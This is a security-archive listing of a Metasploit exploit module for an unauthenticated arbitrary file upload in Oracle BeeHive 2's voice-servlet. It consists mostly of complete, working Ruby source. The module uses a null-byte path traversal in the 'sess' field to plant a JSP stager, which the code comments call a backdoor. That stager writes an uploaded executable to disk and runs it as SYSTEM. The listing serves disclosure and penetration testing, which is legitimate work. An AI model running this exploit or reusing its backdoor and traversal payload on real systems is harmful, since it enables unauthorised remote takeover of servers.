what you don't know can hurt you

Oracle BeeHive 2 Arbitrary File Upload

Oracle BeeHive 2 Arbitrary File Upload
Posted Dec 3, 2015
Authored by mr_me, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in Oracle BeeHive. The prepareAudioToPlay method found in voice-servlet can be abused to write a malicious file onto the target machine, and gain remote arbitrary code execution under the context of SYSTEM. Authentication is not required to exploit this vulnerability.

tags | exploit, remote, arbitrary, code execution
MD5 | 1f1f12c14e043d34f839956dce879e1e

Oracle BeeHive 2 Arbitrary File Upload

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "Oracle BeeHive 2 voice-servlet prepareAudioToPlay() Arbitrary File Upload",
'Description' => %q{
This module exploits a vulnerability found in Oracle BeeHive. The prepareAudioToPlay method
found in voice-servlet can be abused to write a malicious file onto the target machine, and
gain remote arbitrary code execution under the context of SYSTEM. Authentication is not
required to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # Source Incite. Vulnerability discovery, PoC
'sinn3r' # MSF module
],
'References' =>
[
[ 'ZDI', '15-550'],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html' ]
],
'DefaultOptions' =>
{
'RPORT' => 7777
},
'Platform' => 'win',
'Targets' =>
[
['Oracle Beehive 2', {}]
],
'Privileged' => true,
'DisclosureDate' => "Nov 10 2015",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/'])
], self.class)
end


def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa/'))

if res.nil?
vprint_error("Connection timed out.")
return Exploit::CheckCode::Unknown
elsif res && (res.code == 403 || res.code == 200)
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end


def exploit
unless check == Exploit::CheckCode::Detected
fail_with(Failure::NotVulnerable, 'Target does not have voice-servlet')
end

# Init some names
# We will upload to:
# C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\prompt-qa\
exe_name = "#{Rex::Text.rand_text_alpha(5)}.exe"
stager_name = "#{Rex::Text.rand_text_alpha(5)}.jsp"
print_status("Stager name is: #{stager_name}")
print_status("Executable name is: #{exe_name}")
register_files_for_cleanup("../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/#{stager_name}")

# Ok fire!
print_status("Uploading stager...")
res = upload_stager(stager_name, exe_name)

# Hmm if we fail to upload the stager, no point to continue.
unless res
fail_with(Failure::Unknown, 'Connection timed out.')
end

print_status("Uploading payload...")
upload_payload(stager_name)
end

# Our stager is basically a backdoor that allows us to upload an executable with a POST request.
def get_jsp_stager(exe_name)
jsp = %Q|<%@ page import="java.io.*" %>
<%
ByteArrayOutputStream buf = new ByteArrayOutputStream();
BufferedReader reader = request.getReader();
int tmp;
while ((tmp = reader.read()) != -1) { buf.write(tmp); }
FileOutputStream fostream = new FileOutputStream("#{exe_name}");
buf.writeTo(fostream);
fostream.close();
Runtime.getRuntime().exec("#{exe_name}");
%>|

# Since we're sending it as a GET request, we want to keep it smaller so
# we gsub stuff we don't want.
jsp.gsub!("\n", '')
jsp.gsub!(' ', ' ')
Rex::Text.uri_encode(jsp)
end


def upload_stager(stager_name, exe_name)
# wavfile = Has to be longer than 4 bytes (otherwise you hit a java bug)

jsp_stager = get_jsp_stager(exe_name)
uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'playAudioFile.jsp')
send_request_cgi({
'method' => 'POST',
'uri' => uri,
'encode_params' => false, # Don't encode %00 for us
'vars_post' => {
'sess' => "..\\#{stager_name}%00",
'recxml' => jsp_stager,
'audiopath' => Rex::Text.rand_text_alpha(1),
'wavfile' => "#{Rex::Text.rand_text_alpha(5)}.wav",
'evaluation' => Rex::Text.rand_text_alpha(1)
}
})
end

def upload_payload(stager_name)
uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', stager_name)
send_request_cgi({
'method' => 'POST',
'uri' => uri,
'data' => generate_payload_exe(code: payload.encoded)
})
end

def print_status(msg)
super("#{rhost}:#{rport} - #{msg}")
end

end

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